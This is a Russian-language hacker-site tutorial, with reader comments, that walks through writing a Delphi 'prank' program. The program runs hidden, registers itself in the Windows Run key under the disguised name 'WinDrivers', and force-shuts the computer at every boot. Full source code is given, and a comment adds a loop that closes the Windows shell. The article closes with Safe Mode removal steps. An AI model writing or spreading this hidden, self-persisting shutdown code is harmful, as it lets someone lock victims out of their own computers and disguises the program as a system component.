Программа-прикол на Delphi — HackZona.Ru

Программа-прикол на Delphi

Программа-прикол на Delphi

Тип статьи:
Со старой ХакЗоны.
Источник:
В этом уроке мы научимся создавать программу, которая автоматически выключает компьютер при загрузке винды. Писать будем на Delphi. Сначало подумаем чего мы хотим от программы и как реализировать.

ЦЕЛИ

1. Программа должна выключать компьютер при загрузке Windows
1.1. Реализируется через реестр, а именно — его ключ автозагрузки
2. Праграмма должна быть незаметна для пользователя
2.2. Для этого нужно всего навсего не делать визуальной формы (подчёркиваю — визуальной, т.е. видимой для пользователя)

Так… С целями разобрались. Теперь создадим новый проэкт в Дельфи. Прежде всего нужно сделать форму спрятаной от глаз пользователя. Можно так же спрятать её из Менеджера Процессов… но это нужно для троянов, в данном случае это нам не понадобится.
Итак, к делу. Project/Options (Проэкт/Опции), первое, что видим — два окошка, в одном написано Form1, в другом — ничего. Жмём на Form1, а затем на кнопке ">". Нажимаем ОК. Этим мы убрали форму из автосоздаваемых. То есть, программа не будет её создавать автоматически. Мы сами напишем код для её создания, но с нашими параметрами (в нашем случае — параметрами скрытия). Сделаем это прямо сейчас. Жмём Проэкт/Показать исходник, там вносим необходимые изменения, чтоб код был такой:

program localzhuk; //я так назвал свою программу :) Это поле оставляем нетронутым

uses
Forms,
Windows, //Прописываем это
localzhuktxt in 'localzhuktxt.pas' {Form1};

{$R *.res}

var
h: THandle; //Делаем переменную-дескриптор. Нужно для отсчёта времени
begin
Application.Initialize;
ShowWindow(Application.Handle, SW_HIDE); //задаём параметры показа окна
Form1:=TForm1.Create(nil); //Создаём форму (будет невидимая, см. предыдущую строку)
Application.Run;
h:=CreateEvent(nil, true, false, 'et'); //Делаем пустое событие. Нужно для отсчёта времени
while (true) do //Пока не будет true
begin
WaitForSingleObject(h, 1000); //каждую секунду
Application.ProcessMessages; //передавать управление программе
end;
end.

Всё, с этим готово. Поразбирайте самостоятельно код — для лучшего понимания. Теперь, щёлкнув два раза на форме, перенесёмся в редактор кода (событие — создание формы). Пишем следующий код:

var
autorun: TRegIniFile; //делаем переменную реестровых данных (для работы с реестром)
begin
autorun:=TRegIniFile.Create('Run'); //инициализируем переменную
autorun.RootKey:=HKEY_LOCAL_MACHINE; //прописываем корневый ключ
autorun.OpenKey('SOFTWARE', true); //Открываем ключ
autorun.OpenKey('Microsoft', true); //Открываем ключ
autorun.OpenKey('Windows', true); //Открываем ключ
autorun.OpenKey('CurrentVersion', true); //Открываем ключ
autorun.WriteString('Run', 'WinDrivers', Application.ExeName); //создаем новый ключ в папке Run
//с названием WinDrivers
//и значением, которое равно пути к файлу программы
autorun.Free; //Закрываем переменную
ExitWindowsEx(EWX_FORCE, 0); //команда выключения компьютера

Мы использовали реестр, так что в глобальном разделе uses впишем Registry.

Надеюсь, с этим всё ясно. Сохраните, скомпилируйте. Теперь поговорим о нейтрализации программы. Согласитесь, неприятно, если вы по ошибке запустили эту программу-прикол на компьютере, а как нейтрализовать незнаете. Если вы не можете включить компьютер изза этой программы, загрузитесь в безорасном режиму (F8 при загрузке компа), нажмите Пуск/Выполнить, введите Regedit. В открытом окне пройдите по адресу HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun, найдите ключ WinDrivers и сотрите его. Теперь спокойно запускайтесь в обычном режиме. Кстати, работа с Regedit'ом поможет вам лучше понять код.
Надеюсь, этот урок поможет вам в написании программ, работающих с реестром. И, конечно, написании программ-приколов!
Нравится
Не нравится

5 комментариев

21:45
Намного легче будет сделать батник и передалать в ехе
10:19
Полностью согласен с Dipytat, зачем стока времени тратить?
03:32
я бы попробовал Учиться надо на забавных приятных вещах спасибо))
V1S
22:12
да тут не во времени дело наверн...скорее в не знании...
22:15
У тебя ошибка!!!
program message;
uses
windows, messages;
var
i:boolean;
begin
i:=false;
while i=true do (((( while i=false do))))
SendMessage(FindWindow ('Progman', 'Program Manager'), WM_CLOSE, 0, 0);
end.